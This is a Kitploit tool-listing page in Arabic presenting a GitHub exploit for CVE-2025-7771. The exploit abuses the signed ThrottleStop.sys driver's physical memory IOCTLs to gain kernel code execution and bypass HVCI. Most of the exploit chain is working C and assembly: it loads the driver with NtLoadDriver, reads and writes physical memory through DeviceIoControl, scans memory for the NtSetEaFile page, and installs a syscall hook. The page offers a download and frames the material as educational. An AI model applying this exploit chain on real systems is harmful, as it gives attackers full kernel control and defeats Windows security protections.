Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-7771-Vulnerability-Exploration — تصعيد الامتيازات في النظام من سائق غير موقّع باستخدام ثغرة throttlestop | Kitploit
أدوات/GitHubGitHub/d4rkks/cve-2025-7771-vulnerability-exploration
تصعيد الامتيازاتتحليل الذاكرة الجنائيالاستغلالما بعد الاستغلالالأوراق والأبحاثالتعلم والتعليماستغلال الملفات الثنائية
GitHubd4rkks/cve-2025-7771-vulnerability-exploration

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-7771-Vulnerability-Exploration

تصعيد الامتيازات في النظام من سائق غير موقّع باستخدام ثغرة throttlestop

عرض المستودع
13110منذ 5 أشهرلم تتم المراجعة بعد

🔓 ثغرة نواة ThrottleStop.sys — مخطط ذاكرة فعلية متوافق مع HVCI

CVE-2025-7771 — قراءة/كتابة عشوائية في الذاكرة الفعلية عبر IOCTLs الخاصة بـ ThrottleStop.sys

⚠️ إخلاء مسؤولية

هذا المشروع منشور لأغراض تعليمية وبحثية فقط. الهدف هو توضيح كيف يمكن تسليح برنامج تشغيل نواة موقّع وموثوق لاستغلاله في تصعيد الصلاحيات المحلية (LPE) من مسؤول إلى SYSTEM/النواة، متجاوزًا بذلك ميزات أمان Windows الحديثة بما في ذلك HVCI (تكامل الشيفرة الذي يفرضه Hypervisor) و Secure Boot.

لا تستخدم هذه الأداة لأغراض خبيثة. المؤلف غير مسؤول عن أي إساءة استخدام.


📋 جدول المحتويات

  • ملخص الثغرة
  • البرمجيات المتأثرة
  • التحليل الفني
    • IOCTLs المعرّضة للثغرة
    • السبب الجذري
  • سلسلة الاستغلال
    • الخطوة 1 — تحميل برنامج التشغيل المعرّض للثغرة
    • الخطوة 2 — بدائيات الذاكرة الفعلية
    • الخطوة 3 — تحديد موقع صفحة استدعاء النظام
    • الخطوة 4 — خطاف استدعاء النظام عبر الكتابة الفعلية
    • الخطوة 5 — تنفيذ كود نواة عشوائي
    • الخطوة 6 — التنظيف الجنائي
  • لماذا يتجاوز هذا HVCI
  • تقييم الأثر
  • البناء والاستخدام
  • توصيات التخفيف
  • المراجع

ملخص الثغرة

الحقلالتفاصيل
CVECVE-2025-7771
برنامج التشغيلThrottleStop.sys (مُرفق مع ThrottleStop)
البائعTechPowerUp / Kevin Glynn
النوعقراءة/كتابة عشوائية في الذاكرة الفعلية
الأثرتصعيد صلاحيات محلي (Admin → Kernel)
CVSS8.2 (عالي)
التوقيعموقّع من Microsoft عبر WHQL / Attestation
تجاوز HVCI✅ نعم — برنامج التشغيل موقّع بشكل شرعي، ومسموح به حسب سياسة CI

البرمجيات المتأثرة

  • ThrottleStop — جميع الإصدارات التي تتضمن ThrottleStop.sys مع IOCTLs لتعيين الذاكرة الفعلية
  • Windows 10 1903 – 22H2 (x64)
  • Windows 11 21H2 – 24H2 (x64)، بما في ذلك الإصدارات مع تفعيل HVCI
  • تم الاختبار على: Windows 11 26100.x (24H2) مع Secure Boot + HVCI

التحليل الفني

IOCTLs المعرّضة للثغرة

برنامج تشغيل النواة ThrottleStop.sys يعرض جهازًا (\\.\ThrottleStop) يمكن لأي مسؤول محلي الوصول إليه. ينفّذ اثنين من IOCTLs يوفران وصولاً غير مقيد إلى الذاكرة الفعلية:

#define IOCTL_TS_READ_PHYS   0x80006498   // Read arbitrary physical address
#define IOCTL_TS_WRITE_PHYS  0x8000649C   // Write arbitrary physical address

قراءة الذاكرة الفعلية (0x80006498)

Input:  ULONG64 PhysicalAddress  (8 bytes)
Output: Data buffer              (1–8 bytes per call, determined by OutputBufferLength)

يستدعي برنامج التشغيل MmMapIoSpace() لتعيين العنوان الفعلي المطلوب إلى مساحة افتراضية للنواة، وينسخ البيانات إلى المخزن المؤقت للإخراج، ثم يستدعي MmUnmapIoSpace(). لا يتم إجراء أي تحقق على العنوان الفعلي — يمكن قراءة أي عنوان في مساحة العناوين الفعلية.

كتابة الذاكرة الفعلية (0x8000649C)

Input:  ULONG64 PhysicalAddress (8 bytes) + Data (1–8 bytes)
        InputBufferLength = 8 + DataSize
Output: None

نفس آلية القراءة، ولكنها تكتب البيانات المقدمة من المستخدم إلى العنوان الفعلي المعيّن. مرة أخرى، لا يوجد تحقق من العنوان أو النطاق.

السبب الجذري

تم تصميم برنامج التشغيل للسماح لـ ThrottleStop (أداة خفض جهد المعالج/الحد من سرعته) بقراءة/كتابة MSRs وسجلات العتاد مباشرة. من المرجح أن IOCTLs الخاصة بالذاكرة الفعلية أُضيفت للوصول إلى MMIO في مساحة إعداد PCI أو مستشعرات حرارة المعالج، لكن التنفيذ لا يقوم بأي فحص للحدود:

  1. ❌ لا تحقق مما إذا كان العنوان الفعلي يخص MMIO أو RAM
  2. ❌ لا تحقق مما إذا كان العنوان ضمن منطقة الذاكرة المقصودة من المتصل
  3. ❌ لا تقييد لـ ACL أبعد من اشتراط وصول مقبض GENERIC_READ | GENERIC_WRITE
  4. ❌ لا قائمة مسموح بها لنطاقات العناوين الفعلية المسموح بها

هذا يحوّل برنامج تشغيل أداة عتاد شرعي إلى بدائية قراءة/كتابة كاملة على مستوى النواة.


سلسلة الاستغلال

سلسلة الاستغلال تصعّد من حساب مسؤول محلي إلى تنفيذ كود نواة عشوائي، محققة فعليًا تحكمًا بمستوى SYSTEM في حلقة النواة ring-0.

الخطوة 1 — تحميل برنامج التشغيل المعرّض للثغرة

يضع المخطط ThrottleStop.sys في %TEMP%، وينشئ إدخال خدمة في السجل تحت HKLM\SYSTEM\CurrentControlSet\Services\ThrottleStop، ويحمّله عبر NtLoadDriver():

// Enable SeLoadDriverPrivilege for the current process
driver::util::enable_privilege(L"SeLoadDriverPrivilege");

// Create service entry pointing to the dropped .sys file
driver::util::create_service_entry("\\??\\C:\\...\\ThrottleStop.sys", "ThrottleStop");

// Load via NtLoadDriver
NtLoadDriver(&driver_reg_path_unicode);

// Open device handle
CreateFileA("\\\\.\\ThrottleStop", GENERIC_READ | GENERIC_WRITE, ...);

ملاحظة: بما أن ThrottleStop.sys موقّع بشكل شرعي، فإنه يُحمَّل حتى مع تفعيل HVCI/Secure Boot. سياسة CI في Windows تثق بالشهادة.

الخطوة 2 — بدائيات الذاكرة الفعلية

مع مقبض الجهاز، يمكن للاستغلال قراءة/كتابة أي عنوان فعلي على النظام:

// Read 8 bytes from physical address 0x1000
ULONGLONG phys_addr = 0x1000;
ULONGLONG data = 0;
DeviceIoControl(handle, 0x80006498, &phys_addr, 8, &data, 8, &returned, NULL);

// Write 8 bytes to physical address
UCHAR input[16];
*(ULONGLONG*)input = target_phys_addr;      // address
*(ULONGLONG*)(input + 8) = shellcode_qword; // data
DeviceIoControl(handle, 0x8000649C, input, 16, NULL, 0, &returned, NULL);

يلفّ الاستغلال هذه في دوال مساعدة تتعامل مع القراءات/الكتابات المجزأة (1 أو 2 أو 4 أو 8 بايت لكل استدعاء) لنقل بيانات بأطوال عشوائية.

الخطوة 3 — تحديد موقع صفحة استدعاء النظام

لتنفيذ دوال نواة عشوائية، يحتاج الاستغلال إلى إيجاد العنوان الفعلي لمعالج استدعاء نظام في النواة. يستهدف NtSetEaFile (استدعاء نظام نادرًا ما تتم مراقبته):

  1. تحليل RVA: تحميل ntoskrnl.exe في وضع المستخدم عبر LoadLibraryEx(DONT_RESOLVE_DLL_REFERENCES)، والحصول على RVA للدالة NtSetEaFile
  2. حساب الإزاحة: بما أن ntoskrnl مُعيّن بصفحات كبيرة 2MB، فإن الإزاحة الفعلية للدالة داخل صفحة 2MB = RVA & 0x1FFFFF
  3. فحص الذاكرة الفعلية: تعداد نطاقات الذاكرة الفعلية من السجل (HARDWARE\RESOURCEMAP\System Resources\Physical Memory)، بالخطوات 2MB، ومقارنة البايتات:
for (phys_2mb = start; phys_2mb < range_end; phys_2mb += 0x200000)
{
    candidate_pa = phys_2mb + offset_in_2mb;
    read_phys(candidate_pa, &first8, 8);
    if (first8 == pattern_first8)  // quick check
    {
        read_phys(candidate_pa, verify, 32);  // full verify
        if (memcmp(verify, pattern, 32) == 0)
        {
            syscall_phys_addr = candidate_pa;  // found it!
            // ... validate via PsGetProcessSectionBaseAddress
        }
    }
}
  1. التحقق: استدعاء استدعاء النظام المخطوف لتشغيل PsGetProcessSectionBaseAddress(current_pid) والتحقق من أن القاعدة المُعادة تطابق GetModuleHandle(NULL).

الخطوة 4 — خطاف استدعاء النظام عبر الكتابة الفعلية

بمجرد معرفة العنوان الفعلي لـ NtSetEaFile، يثبّت الاستغلال قفزة انتقالية من 12 بايت مباشرة عبر كتابات الذاكرة الفعلية:

; Original NtSetEaFile bytes (saved for restoration)
; Replaced with:
mov rax, <target_kernel_address>   ; 48 B8 <8-byte imm64>
push rax                            ; 50
ret                                 ; C3
// Install hook
unsigned char jmp_code[12] = {
    0x48, 0xB8,                           // mov rax, imm64
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  // <target address>
    0x50,                                 // push rax
    0xC3                                  // ret
};
memcpy(jmp_code + 2, &target_function, 8);
write_phys(syscall_phys_addr, jmp_code, 12);

// Trigger from usermode
NtSetEaFile(args...);  // → jumps to target_function in kernel!
تنزيل الأداة